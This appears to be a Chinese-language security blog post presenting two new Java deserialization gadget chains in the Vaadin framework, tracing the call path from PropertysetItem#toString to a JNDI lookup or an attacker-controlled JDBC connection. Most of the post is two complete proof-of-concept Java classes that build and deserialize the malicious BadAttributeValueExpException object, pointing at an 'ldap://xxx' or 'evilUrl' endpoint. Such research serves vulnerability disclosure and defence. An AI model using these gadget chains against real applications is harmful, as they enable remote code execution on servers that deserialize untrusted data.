Vaadin New Gadgets分享
前言
分享一下在Vaadin找到的两条新Gadget Chain,可以造成JNDI注入或JDBC攻击
Gadget Chain 分析
我们还是从PropertysetItem#toString()
开始看
这里getItemProperty
可以返回Property
子类,已有链使用的是NestedMethodProperty
类触发getter方法,我们这里看看其他类方法如:AbstractSelect#getValue
这里可以控制返回值retValue
,从而控制getValue
方法调用containsId
方法,我们看SQLContainer#containsId
方法:
public boolean containsId(Object itemId) {
if (itemId == null) {
return false;
} else if (this.cachedItems.containsKey(itemId)) {
return true;
} else {
Iterator var2 = this.addedItems.iterator();
while(var2.hasNext()) {
RowItem item = (RowItem)var2.next();
if (item.getId().equals(itemId)) {
return this.itemPassesFilters(item);
}
}
if (this.removedItems.containsKey(itemId)) {
return false;
} else if (itemId instanceof ReadOnlyRowId) {
int rowNum = ((ReadOnlyRowId)itemId).getRowNum();
return rowNum >= 0 && rowNum < this.size;
} else {
if (itemId instanceof RowId && !(itemId instanceof TemporaryRowId)) {
try {
return this.queryDelegate.containsRowWithKey(((RowId)itemId).getId());
} catch (Exception var4) {
getLogger().log(Level.WARNING, "containsId query failed", var4);
}
}
return false;
}
}
}
还记得retValue
是可控的,因此我们可以在上一步将其控制为RowId
类对象从而调用this.queryDelegate.containsRowWithKey(((RowId)itemId).getId());
,走到TableQuery#containsRowWithKey
方法
控制进入beginTransaction
方法:
我们可以继续控制走入reverseConnection
方法,有两个候选方法:J2EEConnectionPool#reserveConnection
和SimpleJDBCConnectionPool#reserveConnection
我们先看第一个,直接触发了JNDI注入
对于第二个:
可以先进入initializeConnections
:
这里注意给initialConnections
成员变量设一个1,从而进入createConnection
:
JDBC连接的URL可控,因此若存在一些数据库依赖的话也可造成攻击
POC
package com.example.Vaadin;
import com.example.Utils.ReflectionUtil;
import com.example.Utils.SerializeUtil;
import com.vaadin.data.util.PropertysetItem;
import com.vaadin.data.util.sqlcontainer.RowId;
import com.vaadin.data.util.sqlcontainer.SQLContainer;
import com.vaadin.data.util.sqlcontainer.connection.J2EEConnectionPool;
import com.vaadin.data.util.sqlcontainer.query.TableQuery;
import com.vaadin.data.util.sqlcontainer.query.generator.DefaultSQLGenerator;
import com.vaadin.ui.ListSelect;
import javax.management.BadAttributeValueExpException;
import java.util.ArrayList;
public class POC_1 {
public static void main(String[] args) throws Exception {
J2EEConnectionPool pool = new J2EEConnectionPool("ldap://xxx");
TableQuery tableQuery = (TableQuery) ReflectionUtil.createWithoutConstructor(Class.forName("com.vaadin.data.util.sqlcontainer.query.TableQuery"));
ReflectionUtil.setField(tableQuery, "primaryKeyColumns", new ArrayList<>());
ReflectionUtil.setField(tableQuery, "fullTableName", "test");
ReflectionUtil.setField(tableQuery, "sqlGenerator", new DefaultSQLGenerator());
ReflectionUtil.setField(tableQuery, "connectionPool", pool);
ListSelect listSelect = new ListSelect();
SQLContainer sql = (SQLContainer) ReflectionUtil.createObject("com.vaadin.data.util.sqlcontainer.SQLContainer", new Class[]{}, new Object[]{});
ReflectionUtil.setField(sql, "queryDelegate", tableQuery);
RowId id = new RowId("id");
ReflectionUtil.setField(listSelect, "value", id);
ReflectionUtil.setField(listSelect, "multiSelect", true);
ReflectionUtil.setField(listSelect, "items", sql);
PropertysetItem propertysetItem = new PropertysetItem();
propertysetItem.addItemProperty("key", listSelect);
BadAttributeValueExpException bad = new BadAttributeValueExpException(0);
ReflectionUtil.setField(bad, "val", propertysetItem);
SerializeUtil.deserialize(SerializeUtil.serialize(bad));
}
}
package com.example.Vaadin;
import com.example.Utils.ReflectionUtil;
import com.example.Utils.SerializeUtil;
import com.vaadin.data.util.PropertysetItem;
import com.vaadin.data.util.sqlcontainer.RowId;
import com.vaadin.data.util.sqlcontainer.SQLContainer;
import com.vaadin.data.util.sqlcontainer.connection.J2EEConnectionPool;
import com.vaadin.data.util.sqlcontainer.connection.SimpleJDBCConnectionPool;
import com.vaadin.data.util.sqlcontainer.query.TableQuery;
import com.vaadin.data.util.sqlcontainer.query.generator.DefaultSQLGenerator;
import com.vaadin.ui.ListSelect;
import javax.management.BadAttributeValueExpException;
import java.util.ArrayList;
public class POC_2 {
public static void main(String[] args) throws Exception {
SimpleJDBCConnectionPool jdbc = (SimpleJDBCConnectionPool) ReflectionUtil.createWithoutConstructor(Class.forName("com.vaadin.data.util.sqlcontainer.connection.SimpleJDBCConnectionPool"));
ReflectionUtil.setField(jdbc, "connectionUri", "evilUrl");
ReflectionUtil.setField(jdbc, "userName", "user");
ReflectionUtil.setField(jdbc, "password", "passwd");
ReflectionUtil.setField(jdbc, "initialConnections", 1);
TableQuery tableQuery = (TableQuery) ReflectionUtil.createWithoutConstructor(Class.forName("com.vaadin.data.util.sqlcontainer.query.TableQuery"));
ReflectionUtil.setField(tableQuery, "primaryKeyColumns", new ArrayList<>());
ReflectionUtil.setField(tableQuery, "fullTableName", "test");
ReflectionUtil.setField(tableQuery, "sqlGenerator", new DefaultSQLGenerator());
ReflectionUtil.setField(tableQuery, "connectionPool", jdbc);
ListSelect listSelect = new ListSelect();
SQLContainer sql = (SQLContainer) ReflectionUtil.createObject("com.vaadin.data.util.sqlcontainer.SQLContainer", new Class[]{}, new Object[]{});
ReflectionUtil.setField(sql, "queryDelegate", tableQuery);
RowId id = new RowId("id");
ReflectionUtil.setField(listSelect, "value", id);
ReflectionUtil.setField(listSelect, "multiSelect", true);
ReflectionUtil.setField(listSelect, "items", sql);
PropertysetItem propertysetItem = new PropertysetItem();
propertysetItem.addItemProperty("key", listSelect);
BadAttributeValueExpException bad = new BadAttributeValueExpException(0);
ReflectionUtil.setField(bad, "val", propertysetItem);
SerializeUtil.deserialize(SerializeUtil.serialize(bad));
}
}
1 条评论
可输入 255 字